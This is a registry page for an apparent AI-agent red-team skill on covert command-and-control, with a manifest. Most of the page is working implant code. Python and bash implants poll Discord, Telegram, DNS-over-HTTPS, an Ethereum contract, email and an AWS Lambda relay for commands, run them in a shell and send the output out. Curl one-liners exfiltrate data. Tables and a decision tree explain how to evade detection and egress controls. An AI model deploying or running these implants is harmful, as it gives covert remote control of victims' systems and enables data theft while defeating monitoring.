Skip to content
Skillv1.0.0

c2-alternative-channels

Non-traditional C2 channels — Discord/Telegram bots, DNS-over-HTTPS, blockchain-based C2, email-based C2, and cloud function dead drops for covert command and control.

by PurpleAILAB(0) 0 installs
Free
Sign in to install

Free account. Installing gives you the manifest plus copy-paste snippets.

See reviews

About

Imported from PurpleAILAB/Decepticon (packages/decepticon/decepticon/skills/standard/post-exploit/c2-alternative-channels/SKILL.md). Install upstream with npx skills add PurpleAILAB/Decepticon --skill c2-alternative-channels. Copyright stays with the author.

Alternative C2 Channels

Non-traditional command-and-control channels leverage legitimate services as transport to evade network monitoring. By routing C2 through platforms that are whitelisted or too high-volume to block, operators bypass proxy inspection, domain reputation checks, and protocol-based detection.

Quick Reference

# Discord webhook C2 — post command output
curl -X POST -H "Content-Type: application/json" \
  -d "{\"content\":\"$(whoami)\"}" \
  "https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>"

# Telegram bot C2 — poll for commands
curl -s "https://api.telegram.org/bot<BOT_TOKEN>/getUpdates" | jq '.result[-1].message.text'

# DNS-over-HTTPS exfil via Google
curl -s "https://dns.google/resolve?name=$(echo <DATA> | base64 | tr '+/' '-_').c2.<TARGET>&type=TXT"

MITRE ATT&CK Mapping

Technique ID Usage in Skill
Web Service T1102 Discord, Telegram, cloud functions as C2 relay
Application Layer Protocol: DNS T1071.004 DNS-over-HTTPS for command/data tunneling
Application Layer Protocol: Mail Protocols T1071.003 IMAP/SMTP email-based C2
Encrypted Channel T1573 TLS-wrapped comms to legitimate services

1. Discord Webhook C2

Discord webhooks provide fire-and-forget output exfiltration. Combined with a bot that reads channel messages, this creates a full bidirectional C2 channel over HTTPS to discord.com — a domain almost never blocked.

Setup

# Create a Discord server and channel for C2
# Settings > Integrations > Webhooks > New Webhook
# Copy webhook URL: https://discord.com/api/webhooks/<ID>/<TOKEN>

# Create a bot for command input:
# https://discord.com/developers/applications > New Application > Bot
# Enable MESSAGE CONTENT intent
# Invite bot to server with Send Messages + Read Message History

Implant Logic (Python)

#!/usr/bin/env python3
"""Discord C2 implant — polls channel for commands, posts output via webhook."""
import requests, subprocess, time, json, os

WEBHOOK_URL  = "https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>"
BOT_TOKEN    = "<BOT_TOKEN>"
CHANNEL_ID   = "<CHANNEL_ID>"
HEADERS      = {"Authorization": f"Bot {BOT_TOKEN}"}
SLEEP        = 30
LAST_MSG_ID  = None

def poll_command():
    global LAST_MSG_ID
    url = f"https://discord.com/api/v10/channels/{CHANNEL_ID}/messages?limit=1"
    r = requests.get(url, headers=HEADERS)
    if r.status_code != 200:
        return None
    msgs = r.json()
    if not msgs:
        return None
    msg = msgs[0]
    if msg["id"] == LAST_MSG_ID:
        return None
    LAST_MSG_ID = msg["id"]
    return msg["content"]

def send_output(data):
    # Discord message limit is 2000 chars; chunk if needed
    for i in range(0, len(data), 1900):
        chunk = data[i:i+1900]
        requests.post(WEBHOOK_URL, json={"content": f"```\n{chunk}\n```"})

while True:
    cmd = poll_command()
    if cmd and cmd.startswith("!exec "):
        try:
            out = subprocess.check_output(
                cmd[6:], shell=True, stderr=subprocess.STDOUT, timeout=30
            ).decode(errors="replace")
        except subprocess.TimeoutExpired:
            out = "[TIMEOUT]"
        except Exception as e:
            out = f"[ERROR] {e}"
        send_output(out)
    time.sleep(SLEEP)

OPSEC Notes

  • All traffic goes to discord.com:443 — TLS-encrypted, CDN-hosted
  • Rate limit: ~5 requests/sec per webhook; space commands to avoid 429
  • Bot token exposure = full channel compromise; rotate after engagement
  • Discord logs message content — treat the channel as burned post-op

2. Telegram Bot C2

Telegram's Bot API provides reliable bidirectional C2 with built-in encryption, file transfer, and global CDN distribution.

Setup

# Create bot via @BotFather on Telegram:
#   /newbot -> name -> username -> receive BOT_TOKEN
# Get chat ID:
curl -s "https://api.telegram.org/bot<BOT_TOKEN>/getUpdates" | jq '.result[0].message.chat.id'

Implant Logic (Python)

#!/usr/bin/env python3
"""Telegram Bot C2 — long-poll getUpdates, execute, reply."""
import requests, subprocess, time

BOT_TOKEN = "<BOT_TOKEN>"
CHAT_ID   = "<CHAT_ID>"
API       = f"https://api.telegram.org/bot{BOT_TOKEN}"
OFFSET    = 0
SLEEP     = 15

def poll():
    global OFFSET
    r = requests.get(f"{API}/getUpdates", params={"offset": OFFSET, "timeout": 30})
    updates = r.json().get("result", [])
    for u in updates:
        OFFSET = u["update_id"] + 1
        text = u.get("message", {}).get("text", "")
        if text.startswith("/run "):
            yield text[5:]

def reply(text):
    # Telegram message limit: 4096 chars
    for i in range(0, len(text), 4000):
        requests.post(f"{API}/sendMessage", json={
            "chat_id": CHAT_ID,
            "text": f"```\n{text[i:i+4000]}\n```",
            "parse_mode": "Markdown"
        })

def upload(path):
    with open(path, "rb") as f:
        requests.post(f"{API}/sendDocument", data={"chat_id": CHAT_ID}, files={"document": f})

while True:
    for cmd in poll():
        if cmd.startswith("upload "):
            upload(cmd[7:])
            continue
        try:
            out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=60)
            reply(out.decode(errors="replace"))
        except Exception as e:
            reply(f"[ERROR] {e}")
    time.sleep(SLEEP)

Features

  • File exfil: sendDocument uploads files up to 50 MB
  • Long polling: getUpdates?timeout=30 reduces beacon frequency
  • Inline keyboards: Build interactive menus for operator convenience
  • OPSEC: Traffic to api.telegram.org over TLS; set bot privacy mode

3. DNS-over-HTTPS (DoH) C2

DNS-over-HTTPS encapsulates DNS queries inside HTTPS to providers like Google (dns.google) or Cloudflare (1.1.1.1). Since DoH bypasses traditional DNS monitoring (no UDP/53 inspection), it creates a covert channel.

Architecture

Implant -> HTTPS -> dns.google/resolve -> Authoritative NS (operator-controlled)
                                          ^
                                          | TXT records = encoded commands
                                          | A records   = encoded data

Implant Logic (Bash)

#!/bin/bash
# DoH C2 beacon — query operator's DNS for commands via Google DoH

C2_DOMAIN="c2.<TARGET>"
DOH_URL="https://dns.google/resolve"
SLEEP=60

encode() { echo -n "$1" | base64 | tr '+/=' '-_ ' | tr -d ' '; }
decode() { echo -n "$1" | tr '-_' '+/' | base64 -d 2>/dev/null; }

# Register implant
HOSTNAME=$(hostname)
IMPLANT_ID=$(encode "$HOSTNAME" | head -c 20)
curl -s "${DOH_URL}?name=${IMPLANT_ID}.reg.${C2_DOMAIN}&type=A" > /dev/null

while true; do
    # Poll for command
    RESP=$(curl -s "${DOH_URL}?name=${IMPLANT_ID}.cmd.${C2_DOMAIN}&type=TXT")
    CMD=$(echo "$RESP" | jq -r '.Answer[0].data // empty' | tr -d '"')

    if [ -n "$CMD" ]; then
        DECODED=$(decode "$CMD")
        OUTPUT=$(eval "$DECODED" 2>&1 | head -c 200)
        ENCODED=$(encode "$OUTPUT")

        # Exfil output via subdomain labels (max 63 chars per label)
        for chunk in $(echo "$ENCODED" | fold -w 60); do
            curl -s "${DOH_URL}?name=${chunk}.out.${IMPLANT_ID}.${C2_DOMAIN}&type=A" > /dev/null
        done
    fi
    sleep $SLEEP
done

DoH Providers

Provider Endpoint Notes
Google https://dns.google/resolve JSON API, widely allowed
Cloudflare https://1.1.1.1/dns-query Wire format + JSON
Quad9 https://dns.quad9.net:5053/dns-query Less common, lower profile

Limitations

  • TXT records limited to 255 bytes per string (chain multiple)
  • DNS label max 63 chars, total FQDN max 253 chars
  • High-volume queries to operator domain may trigger DNS analytics

4. Blockchain-Based C2 (Ethereum Smart Contract)

Smart contracts on Ethereum (or other EVM chains) act as a censorship-resistant dead-drop. Commands are stored on-chain; the implant reads contract state via public RPC endpoints.

Smart Contract (Solidity)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract C2 {
    address private owner;
    mapping(bytes32 => string) private commands;
    mapping(bytes32 => string) private responses;

    constructor() { owner = msg.sender; }

    modifier onlyOwner() { require(msg.sender == owner, ""); _; }

    function setCommand(bytes32 implantId, string calldata cmd) external onlyOwner {
        commands[implantId] = cmd;
    }

    function getCommand(bytes32 implantId) external view returns (string memory) {
        return commands[implantId];
    }

    function postResponse(bytes32 implantId, string calldata resp) external {
        responses[implantId] = resp;
    }

    function getResponse(bytes32 implantId) external view returns (string memory) {
        return responses[implantId];
    }
}

Implant Logic (Python)

#!/usr/bin/env python3
"""Ethereum smart contract C2 — read commands from chain, post results."""
from web3 import Web3
import subprocess, time, hashlib

RPC_URL      = "https://mainnet.infura.io/v3/<API_KEY>"  # or any public RPC
CONTRACT_ADDR = "<DEPLOYED_CONTRACT_ADDRESS>"
ABI          = [...]  # ABI from compilation
IMPLANT_ID   = Web3.keccak(text=__import__("socket").gethostname())

w3 = Web3(Web3.HTTPProvider(RPC_URL))
contract = w3.eth.contract(address=CONTRACT_ADDR, abi=ABI)

while True:
    cmd = contract.functions.getCommand(IMPLANT_ID).call()
    if cmd:
        try:
            out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=30)
            # Post response on-chain (requires funded wallet for gas)
            # For read-only implants, exfil via side channel instead
        except Exception as e:
            out = str(e).encode()
    time.sleep(300)

OPSEC Notes

  • Read operations are free — no wallet or gas needed to poll commands
  • Write operations cost gas — use a side channel (DNS, HTTP) for responses
  • Contract is public and immutable — use encryption for command/response data
  • Use Infura, Alchemy, or public RPC nodes; traffic looks like normal Web3 calls
  • Deploy on testnets (Sepolia) for testing; mainnet for real operations

5. Email-Based C2 (IMAP/SMTP)

Email C2 uses standard mail protocols. The implant logs into a shared mailbox, reads commands from emails, and replies with output. Traffic blends with normal corporate email.

Implant Logic (Python)

#!/usr/bin/env python3
"""Email C2 — read commands from IMAP inbox, send results via SMTP."""
import imaplib, smtplib, email, subprocess, time
from email.mime.text import MIMEText

IMAP_SERVER = "imap.gmail.com"
SMTP_SERVER = "smtp.gmail.com"
EMAIL_ADDR  = "<C2_EMAIL>@gmail.com"
EMAIL_PASS  = "<APP_PASSWORD>"
OPERATOR    = "<OPERATOR_EMAIL>"
SLEEP       = 120

def check_commands():
    imap = imaplib.IMAP4_SSL(IMAP_SERVER)
    imap.login(EMAIL_ADDR, EMAIL_PASS)
    imap.select("INBOX")
    _, nums = imap.search(None, "UNSEEN", f'FROM "{OPERATOR}"')
    commands = []
    for num in nums[0].split():
        _, data = imap.fetch(num, "(RFC822)")
        msg = email.message_from_bytes(data[0][1])
        body = msg.get_payload(decode=True).decode(errors="replace")
        commands.append(body.strip())
        imap.store(num, "+FLAGS", "\\Deleted")
    imap.expunge()
    imap.logout()
    return commands

def send_result(subject, body):
    msg = MIMEText(body)
    msg["Subject"] = subject
    msg["From"]    = EMAIL_ADDR
    msg["To"]      = OPERATOR
    with smtplib.SMTP_SSL(SMTP_SERVER, 465) as s:
        s.login(EMAIL_ADDR, EMAIL_PASS)
        s.send_message(msg)

while True:
    for cmd in check_commands():
        try:
            out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=60)
            send_result(f"RE: Report {time.strftime('%H%M')}", out.decode(errors="replace"))
        except Exception as e:
            send_result("RE: Error", str(e))
    time.sleep(SLEEP)

OPSEC Notes

  • Use app-specific passwords (Gmail) or OAuth tokens
  • Subject lines should mimic legitimate correspondence
  • Encrypt command/response body with AES; embed key in implant
  • IMAP IDLE (push) reduces polling frequency
  • Corporate Exchange/O365 via EWS or Graph API blends with enterprise traffic

6. Cloud Function Dead Drops (Serverless C2)

Serverless functions (AWS Lambda, Azure Functions, GCP Cloud Functions) act as C2 redirectors. The implant calls a legitimate cloud endpoint; the function relays to the operator.

AWS Lambda Relay

# Lambda function — relays between implant and operator S3 bucket
import boto3, json

s3 = boto3.client("s3")
BUCKET = "<C2_BUCKET>"

def lambda_handler(event, context):
    body = json.loads(event.get("body", "{}"))
    action = body.get("action")
    implant_id = body.get("id", "unknown")

    if action == "checkin":
        # Return pending command from S3
        try:
            obj = s3.get_object(Bucket=BUCKET, Key=f"cmd/{implant_id}")
            cmd = obj["Body"].read().decode()
            s3.delete_object(Bucket=BUCKET, Key=f"cmd/{implant_id}")
            return {"statusCode": 200, "body": json.dumps({"cmd": cmd})}
        except s3.exceptions.NoSuchKey:
            return {"statusCode": 200, "body": json.dumps({"cmd": ""})}

    elif action == "result":
        # Store command output
        s3.put_object(
            Bucket=BUCKET,
            Key=f"out/{implant_id}/{context.aws_request_id}",
            Body=body.get("data", "").encode()
        )
        return {"statusCode": 200, "body": "ok"}

Azure Functions Relay

# Same pattern as Lambda — uses Azure Blob Storage instead of S3.
# Endpoint: https://<APP>.azurewebsites.net/api/c2
# Storage: Azure Blob container for cmd/{implant_id} and out/{implant_id}
# SKU: Consumption plan (serverless, pay-per-execution)

Implant Calling Pattern

# Checkin — looks like normal API call to *.amazonaws.com or *.azurewebsites.net
curl -s -X POST "https://<FUNCTION_URL>/api/c2" \
  -H "Content-Type: application/json" \
  -d "{\"action\":\"checkin\",\"id\":\"$(hostname | md5sum | cut -c1-8)\"}"

# Post results
curl -s -X POST "https://<FUNCTION_URL>/api/c2" \
  -H "Content-Type: application/json" \
  -d "{\"action\":\"result\",\"id\":\"$(hostname | md5sum | cut -c1-8)\",\"data\":\"$(whoami | base64)\"}"

Detection Signatures

Indicator Pattern Mitigation
Discord API calls Outbound HTTPS to discord.com/api/webhooks Rotate webhooks; use bot API over multiple channels
Telegram API calls Outbound HTTPS to api.telegram.org Route through proxy; use MTProto instead of Bot API
High-frequency DoH Repeated dns.google/resolve with encoded subdomains Lower beacon rate; rotate DoH providers
Blockchain RPC JSON-RPC calls to Infura/Alchemy with eth_call Use public RPC endpoints; rotate providers
IMAP/SMTP patterns Periodic login/logout cycles to mail server Use IMAP IDLE; vary timing
Cloud function calls Periodic POST to *.amazonaws.com / *.azurewebsites.net Jitter timing; rotate function URLs
Base64 in DNS labels Encoded subdomains in queries Use custom encoding; fragment data

Error Handling & Edge Cases

Issue Symptom Resolution
Discord rate limit HTTP 429 responses Implement exponential backoff; reduce output frequency
Telegram bot blocked getUpdates returns 409 Only one poller per bot; use webhook mode instead
DoH provider blocks DNS queries return SERVFAIL Rotate to alternate DoH provider (Google/CF/Quad9)
Ethereum gas spike Transaction pending indefinitely Use read-only pattern; exfil via side channel
Email account locked IMAP auth failure Use OAuth; avoid rapid login cycles
Lambda cold start First request takes 5-10 seconds Use provisioned concurrency or keep-alive pings
Cloud function rate limit HTTP 429 from API Gateway Distribute across multiple functions/regions
TLS inspection Proxy MITM breaks certificate pinning Use certificate pinning bypass or alternate transport

Decision Gate

What constraints exist on outbound traffic?
├── Web traffic only (HTTP/HTTPS whitelisted)
│   ├── Social media allowed?
│   │   ├── YES -> Discord or Telegram C2 (fastest setup)
│   │   └── NO  -> Cloud function relay (*.amazonaws.com usually allowed)
│   └── Cloud services allowed?
│       ├── YES -> AWS Lambda / Azure Functions dead drop
│       └── NO  -> Domain fronting (see c2-domain-fronting skill)
├── DNS allowed (UDP/53 or DoH)
│   ├── DoH to Google/Cloudflare reachable?
│   │   ├── YES -> DoH C2 channel
│   │   └── NO  -> Traditional DNS tunneling (see Sliver DNS)
│   └── Custom authoritative NS available?
│       └── YES -> Full DNS C2 with TXT record encoding
├── Email allowed (IMAP/SMTP/EWS)
│   ├── Corporate Exchange/O365?
│   │   └── Use Graph API or EWS — blends with enterprise mail
│   └── External mail (Gmail)?
│       └── Email C2 with app passwords
└── Maximum stealth required
    ├── Blockchain C2 (censorship-resistant, no takedown)
    └── Combine channels: DoH for commands, Discord for exfil

Tools & Resources

Tool Purpose Source
Slackor Slack-based C2 framework https://github.com/Coalfire-Research/Slackor
DVMC2 Discord/Virus Total C2 https://github.com/3xpl01tc0d3r/DVMC2
Gcat Gmail C2 channel https://github.com/byt3bl33d3r/gcat
DNScat2 DNS tunnel C2 https://github.com/iagox86/dnscat2
godoh DNS-over-HTTPS C2 https://github.com/sensepost/godoh
TrevorC2 Legitimate website C2 https://github.com/trustedsec/trevorc2
Mythic Multi-channel C2 framework https://github.com/its-a-feature/Mythic
C3 Custom C2 channel framework https://github.com/FSecureLABS/C3

Use it

Copy one of these into your project. Installing also returns the manifest and these snippets.

yaml
targets:
  - https://api.opensmartroute.ai/api/v1/registry/purpleailab-decepticon-c2-alternative-channels/manifest   # or paste the manifest below

Manifest

An Open Capability Manifest: the router reads it to know what this does, what it costs and when to pick it.

purpleailab-decepticon-c2-alternative-channels.ocm.jsonjson
{
  "ocm": "1",
  "id": "purpleailab-decepticon-c2-alternative-channels",
  "kind": "skill",
  "name": "c2-alternative-channels",
  "description": "Non-traditional C2 channels — Discord/Telegram bots, DNS-over-HTTPS, blockchain-based C2, email-based C2, and cloud function dead drops for covert command and control.",
  "publisher": "PurpleAILAB",
  "version": "1.0.0",
  "capabilities": {
    "domains": [
      "coding"
    ],
    "tags": [
      "skill-md",
      "c2",
      "discord",
      "telegram",
      "blockchain",
      "email",
      "doh",
      "dead-drop",
      "cloud",
      "serverless"
    ],
    "languages": [
      "en"
    ]
  },
  "quality_prior": 0.6,
  "examples": [
    "Non-traditional C2 channels — Discord/Telegram bots, DNS-over-HTTPS, blockchain-based C2, email-based C2, and cloud function dead drops for covert command and control."
  ],
  "primary": false,
  "metadata": {
    "source": {
      "provider": "github",
      "repository": "https://github.com/PurpleAILAB/Decepticon",
      "path": "packages/decepticon/decepticon/skills/standard/post-exploit/c2-alternative-channels/SKILL.md",
      "ref": "31e1c8e786c83bb20f5c3d9ebc482cf9fb8ffa06",
      "url": "https://github.com/PurpleAILAB/Decepticon/blob/31e1c8e786c83bb20f5c3d9ebc482cf9fb8ffa06/packages/decepticon/decepticon/skills/standard/post-exploit/c2-alternative-channels/SKILL.md",
      "key": "PurpleAILAB/Decepticon/packages/decepticon/decepticon/skills/standard/post-exploit/c2-alternative-channels/SKILL.md"
    },
    "allowed_tools": [
      "Bash",
      "Read",
      "Write"
    ]
  },
  "instructions": "# Alternative C2 Channels\n\nNon-traditional command-and-control channels leverage legitimate services as transport to evade network monitoring. By routing C2 through platforms that are whitelisted or too high-volume to block, operators bypass proxy inspection, domain reputation checks, and protocol-based detection.\n\n## Quick Reference\n\n```bash\n# Discord webhook C2 — post command output\ncurl -X POST -H \"Content-Type: application/json\" \\\n  -d \"{\\\"content\\\":\\\"$(whoami)\\\"}\" \\\n  \"https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>\"\n\n# Telegram bot C2 — poll for commands\ncurl -s \"https://ap",
  "cost": {
    "context_tokens": 4504
  }
}

Fetch it by URL: GET /api/v1/registry/purpleailab-decepticon-c2-alternative-channels/manifest?version=1.0.0

Reviews

Star ratings from people who tried it. One review per account; edit yours any time.

No reviews yet. Install it, try it, and be the first to rate it.